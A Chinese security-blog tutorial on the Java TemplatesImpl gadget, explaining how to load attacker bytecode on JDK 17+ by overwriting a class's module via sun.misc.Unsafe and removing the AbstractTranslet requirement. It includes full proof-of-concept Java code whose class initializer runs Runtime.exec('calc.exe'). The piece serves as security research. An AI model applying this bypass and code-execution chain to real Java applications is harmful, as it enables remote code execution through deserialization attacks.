问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
绕过反射限制!JDK高版本下TemplatesImpl的利用!
CTF
渗透测试
《java安全漫谈》中讲到过利用TemplatesImpl链加载字节码,当时要求恶意类需要继承AbstractTranslet,至于为什么当时并没有说清,现在再聊下这个,以及如何不需要AbstractTranslet也能成功打通这条链子,这也可以为JDK高版本下继续使用TemplatesImpl奠定基石。
p牛在《java安全漫谈》中讲到过利用`TemplatesImpl`链加载字节码,当时要求恶意类需要继承`AbstractTranslet`,至于为什么当时并没有说清,现在再聊下这个,以及如何不需要`AbstractTranslet`也能成功打通这条链子,这也可以为JDK高版本下继续使用`TemplatesImpl`奠定基石。 本文为学习之作,其中难免会有理解差错,还请见谅,发出来也是参考的作用。 - - - - - - ### 回顾TemplatesImpl利用链 这条利用链如下: TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass() > 在《java安全漫谈》中p牛给出TemplatesImpl类里重写了defineClass方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个 方法没有显式声明作用域,其作用域为default。所以也就是说这里的defineClass由其父类的 protected类型变成了一个default类型的方法,可以被类外部调用。 因此,因为无法在外部直接访问`ClassLoader#defineClass`,所以才利用了`TemplatesImpl`“借船出海”。 在利用时,我们需要在几个参数上进行操作,分别是: - `_bytecodes` - `_name` - `_tfactory` 下面再来探究下为什么。 - - - - - -  在`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance`有如下三个注意的点。 在456、457行存在实例化操作,如果数组和下标可控,则可以实现代码执行。 有个前提是`_name`不能为空,此外对于`_class`为空的情况,会走`defineTransletClasses()`方法。 跟进`defineTransletClasses()`方法。  在该方法中,有几个限制条件。首先是`_bytecodes`不能为空,因为在415行会采用`defineClass`进行加载字节码。 然后`_tfactory`不能为空,这是为了生成`loader`,对于工厂类可以用`com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl#TransformerFactoryImpl`。 这段代码的作用是给`_class`数组赋值。   判断父类是否是`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`,如果是赋值数组下标。 对于数组下标`_transletIndex`要求也比较严格,如果该类不是`AbstractTranslet`子类,则会抛出异常。 于是基本的TemplatesImpl的利用链所使用的恶意类是`AbstractTranslet`的子类了。   这一块就是`TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer()`,至于如何触发`getOutputProperties()`可以通过触发getter、toString或者是直接`newTransformer`。   于是最基本的利用链如上所示。当前JDK版本为**1.8.0\_411**。 - - - - - - ### JDK17以后利用的问题 那我们升到JDK18呢?利用链是否还可以使用。  给我们抛出了一个这样异常。 原因在于,从**JDK9**开始,Java引入了**JPMS(Java Platform Module System,模块系统)**。具体体现为: - **内部API封装**:以前可以随意地去调用`com.sun.*`等内部类,但在JDK17之后,这些类已经被模块系统强封装,默认不可以访问。 - **强封装机制**:模块之间的可见性由`module-info.java`描述,如果某个包没有`exports`,外部模块就无法直接访问。 - **反射限制**:在JDK8及之前,常常通过`setAccessible(true)`来绕过`private`限制,反射访问类的私有字段或构造函数。但是在JDK17以上,即使使用`setAccessible(true)`,也会被`InaccessibleObjectException`拦截,除非手动添加JVM参数`--add-opens`开放模块或者使用`Java Agent/Instrumentation`来打破封装。 > [从JDK8迁移到更高版本的JDK需要注意的点](https://docs.oracle.com/en/java/javase/17/migrate/migrating-jdk-8-later-jdk-releases.html#GUID-7BB28E4D-99B3-4078-BDC4-FC24180CE82B) > > <font style="color:rgb(26, 24, 22);">一些工具和库使用反射来访问 JDK 的部分仅供内部使用。这种反射的使用会对安全性和JDK 的可维护性产生负面影响。为了帮助迁移,JDK 9 到 JDK 16 允许此反射继续,但会发出有关</font>*<font style="color:rgb(26, 24, 22);">非法反射访问</font>*<font style="color:rgb(26, 24, 22);">的警告。但是,JDK 17 是</font>*<font style="color:rgb(26, 24, 22);">强封装的</font>*<font style="color:rgb(26, 24, 22);">,因此默认情况下不再允许此反射。访问 API 的非公共字段和方法将抛出一个InaccessibleObjectException。 因此在高版本中,我们无法去直接利用`TemplatesImpl`了,并且`setAccessible`方法也被做了限制。 ### 如何破局? 在Kcon2021Code大会上,哥斯拉作者`BeichenDream`提出了使用`Unsafe`类进行绕过`modle`的限制。“前人栽树,后人乘凉”,那下面来学习下`Unsafe`类的使用。 > <font style="color:rgb(0, 0, 0);">Unsafe是位于sun.misc包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源操作能力方面起到了很大的作用。但由于Unsafe类使Java语言拥有了</font>**<font style="color:rgb(0, 0, 0);">类似C语言指针一样操作内存空间的能力</font>**<font style="color:rgb(0, 0, 0);">,这无疑也增加了程序发生相关指针问题的风险。在程序中过度、不正确使用Unsafe类会使得程序出错的概率变大,使得Java这种安全的语言变得不再“安全”,因此对Unsafe的使用一定要慎重。</font> 在`Unsafe`类的源码中,有这样一个关键的方法。 ```java public static Unsafe getUnsafe() { Class var0 = Reflection.getCallerClass(); if (!VM.isSystemDomainLoader(var0.getClassLoader())) { throw new SecurityException("Unsafe"); } else { return theUnsafe; } } ``` 获取`Unsafe`的反射调用者,判断其系统域加载器是否为JDK内部类。如果是返回`Unsafe`类,如果不是抛出异常,等待上层`catch`处理。 在`BeichenDream`的bypass代码中,利用了反射调用的方式: ```java private static Unsafe getUnsafe() { Unsafe unsafe = null; try { Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } return unsafe; } ``` 有个问题在于JDK17之后对`field.setAccessible`做了限制那是如何继续进行使用的呢? > 但是需要注意,**sun.misc和sun.reflect包可供所有JDK版本(包括JDK17)中的工具和库进行反射**。 跟进分析`setAccessible`方法,首先调用`AccessibleObject`类的静态方法`checkPermission`,该方法检查当前的安全策略是否允许改变访问控制;如果不允许,会抛出`SecurityException`。</font> ```java public void setAccessible(boolean flag) { AccessibleObject.checkPermission(); if (flag) checkCanSetAccessible(Reflection.getCallerClass()); setAccessible0(flag); } ``` ```java static void checkPermission() { @SuppressWarnings("removal") SecurityManager sm = System.getSecurityManager(); if (sm != null) { // SecurityConstants.ACCESS_PERMISSION is used to check // whether a client has sufficient privilege to defeat Java // language access control checks. sm.checkPermission(SecurityConstants.ACCESS_PERMISSION); } } ``` 接着,当设置非公共字段或方法的访问权限为true时,会调用`checkCanSetAccessible`方法,这个方法检查调用`setAccessible`方法的类是否有权限改变访问控制。`Reflection.getCallerClass`方法获取调用`setAccessible`方法的类,不包括匿名内部类。</font> 跟进`java.lang.reflect.AccessibleObject#checkCanSetAccessible`方法,就可以看到,`callerModule`获取调用者的模块,`declaringModule`获取声明成员(方法或字段)的类的模块,如果调用者的模块与声明成员的类的模块相同,或者调用者是未知模块(`Object.class.getModule()`通常返回null),则允许访问。</font> 原来模块相同或者是`Object.class.getModule`(未知模块)就可以绕过限制了啊!那就有操作空间了——我们知道`Unsafe`类相当于一个“指针”,而指针的作用在于指向变量的内存地址,那么我就可以通过Unsafe进行修改当前的`module`属性(实际上就是改内存地址吧),使其同`java.*`下类的`module`属性一致来进行绕过。 如何实现? 在`Unsafe`类中,存在方法`getAndSetObject`,该方法是一个用于原子操作的方法,它主要用于在多线程环境下对对象的字段进行安全的更新操作,类似于反射赋值,可以利用其修改调用类的`module`。 ```java public final Object getAndSetObject(Object o, long offset, Object newValue) { return theInternalUnsafe.getAndSetReference(o, offset, newValue); } ``` 这里直接给出代码,本质上是利用了`Unsafe`类修改当前类`module`位置改了到未知模块(`Object.class.getModule()`)类的`module`位置,这样就可以通过高版本JDK底层`java.lang.reflect.AccessibleObject#checkCanSetAccessible`方法中`module`校验机制。 ```java package com.test; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import sun.misc.Unsafe; import javax.xml.transform.TransformerConfigurationException; import java.io.File; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; public class TemplatesImplDemo { // 使用反射设置必要字段 public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field declaredField = obj.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(obj,value); } // 读取字节码 public static byte[] getByteCode() throws IOException { String payload = "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygp" + "VgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJd" + "HJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNs" + "dGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL" + "1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4" + "vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9" + "EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplc" + "i9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA5ldmlsQ2xhc3MuamF2YQwABwAIBw" + "AcDAAdAB4BAARjYWxjDAAfACABAAlldmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZX" + "JuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zd" + "W4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW" + "50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc" + "7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAA" + "AABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAT" + "AAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAGAALAAAABAABAA8AAQARAAAAAgAS"; byte[] decode = Base64.getDecoder().decode(payload); return decode; } //TemplatesImpl加载字节码 public static void test1() throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException { byte[] bytes = getByteCode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_bytecodes",new byte[][]{bytes}); setFieldValue(templates,"_name","nu11"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); templates.newTransformer(); } public static void test2_bypassJDK() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Class<?> unSafe = Class.forName("sun.misc.Unsafe"); Field unSafeField = unSafe.getDeclaredField("theUnsafe"); unSafeField.setAccessible(true); Unsafe unSafeClass= (Unsafe) unSafeField.get(null); Module baseModule = Object.class.getModule(); Class<?> currentClass= TemplatesImplDemo.class; long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module")); unSafeClass.getAndSetObject(currentClass,addr,baseModule); } public static void main(String[] args) throws TransformerConfigurationException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException { System.out.println("Java Version: " + System.getProperty("java.version")); test2_bypassJDK(); test1(); } } ``` 其中payload解码后就是evilClass类:  我们运行后发现会出现如下异常:  > 这里如果运行出错,请看后文给出解决办法。 原因在于这个`evilClass`依然是继承的`AbstractTranslet`,这里还是直接调用了JDK内部API,导致触发模块化检测异常。 目前的绕过方法是**不继承`AbstractTranslet`**,那要怎么做? ### 新的出路 `AbstractTranslet` 类通过影响 `_transletIndex` 的值来限制执行,但`_transletIndex`没有被标记为 `transient` 是能参与序列化过程的,可以直接通过反射来绕过这个限制。</font>  当类不继承`AbstractTranslet` 时,会向`_auxClasses` 中 put 数据,因此还需要保证`_auxClasses`不为空。因此需要实例化 `_auxClasses`。在代码前面有一个判断,当 `classCount` 大于 1 时,即 `_bytecodes`传入多个类时会将 `_auxClasses`赋值为 `HashMap`。  一位牛子给出的绕过方式为: ```java Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{ classBytes, ClassFiles.classAsBytes(PPP.class) }); Reflections.setFieldValue(templates, "_name", "anyStr"); Reflections.setFieldValue(templates, "_transletIndex", 0); ``` 那由此,更改代码为: ```java package com.test; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import sun.misc.Unsafe; import javax.xml.transform.TransformerConfigurationException; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.Base64; public class TemplatesImplDemo { // 使用反射设置必要字段 public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException { Field declaredField = obj.getClass().getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(obj,value); } // 读取字节码 // public static byte[] getByteCode(){ // String payload = // "yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGU" + // "BAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEACUNh" + // "bGMuamF2YQwABwAIBwAXDAAYABkBAARjYWxjDAAaABsBAARDYWxjAQAQamF2YS9sYW5nL09iamVjd" + // "AEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBAB" + // "UoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5n" + // "L1Byb2Nlc3M7ACEABQAGAAAAAAABAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQA" + // "KAAAADgADAAAABAAEAAUADQAGAAsAAAAEAAEADAABAA0AAAACAA4="; // byte[] decode = Base64.getDecoder().decode(payload); // return decode; // } public static byte[] getTemplateCode() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("nu11nu11nu11nu11nu11"); String block = "Runtime.getRuntime().exec(\"calc.exe\");"; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } // TemplatesImpl加载字节码 public static void test1() throws Exception { // byte[] payload = getByteCode(); // 可以用第一种,也可以用第二种 byte[] payload = getTemplateCode(); byte[] nu11 = ClassPool.getDefault().makeClass("nu11").toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_bytecodes",new byte[][]{payload,nu11}); setFieldValue(templates,"_name","nu11"); setFieldValue(templates,"_transletIndex",0); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); templates.newTransformer(); } public static void test2_bypassJDK() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Class<?> unSafe = Class.forName("sun.misc.Unsafe"); Field unSafeField = unSafe.getDeclaredField("theUnsafe"); unSafeField.setAccessible(true); Unsafe unSafeClass = (Unsafe) unSafeField.get(null); Module baseModule = Object.class.getModule(); Class<?> currentClass= TemplatesImplDemo.class; long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module")); unSafeClass.getAndSetObject(currentClass,addr,baseModule); } public static void main(String[] args) throws Exception { System.out.println("Java Version: " + System.getProperty("java.version")); test2_bypassJDK(); test1(); } } ```  ### 意外情况 如果不存在`sun.misc`包,就像如下一样设置即可,因为`~~sun.misc~~`默认似乎是被放进垃圾堆了。  此外,要在JVM参数中加入: ```java --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED ``` 这是为了绕过编译时模块化检测,不要误会,本文绕过模块化检测,本质上是绕过运行时的模块化检测。 此外本文所阐述的利用方式并未以反序列化开头(直接`newInstance`执行代码),仅给出了trick,对于怎么样综合利用,请看最新的Spring原生反序列化链中的手法。 ### 参考文章 1. <https://h3rmesk1t.github.io/2024/10/23/Unsafe%E7%BB%95%E8%BF%87%E9%AB%98%E7%89%88%E6%9C%ACJDK%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6/> 2. [https://fushuling.com/index.php/2025/08/21/%e9%ab%98%e7%89%88%e6%9c%acjdk%e4%b8%8b%e7%9a%84spring%e5%8e%9f%e7%94%9f%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e9%93%be/](https://fushuling.com/index.php/2025/08/21/%E9%AB%98%E7%89%88%E6%9C%ACjdk%E4%B8%8B%E7%9A%84spring%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/) 3. <https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/#0x02-%E5%8E%BB%E9%99%A4-abstracttranslet-%E9%99%90%E5%88%B6> 4. <https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk/JdkSecurityBypass.java> 5. <https://boogipop.com/2024/02/05/2024%20N1CTF%20Junior%20Web%20Writeup/> 6. <https://docs.oracle.com/en/java/javase/17/migrate/migrating-jdk-8-later-jdk-releases.html#GUID-A868D0B9-026F-4D46-B979-901834343F9E> 7. <https://xz.aliyun.com/news/17980> 8. <https://research.qianxin.com/archives/2414> 9. [https://blog.csdn.net/qq\_43474959/article/details/131423329](https://blog.csdn.net/qq_43474959/article/details/131423329)
发表于 2025-09-16 10:00:02
阅读 ( 104 )
分类:
代码审计
1 推荐
收藏
0 条评论
请先
登录
后评论
nu11_
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!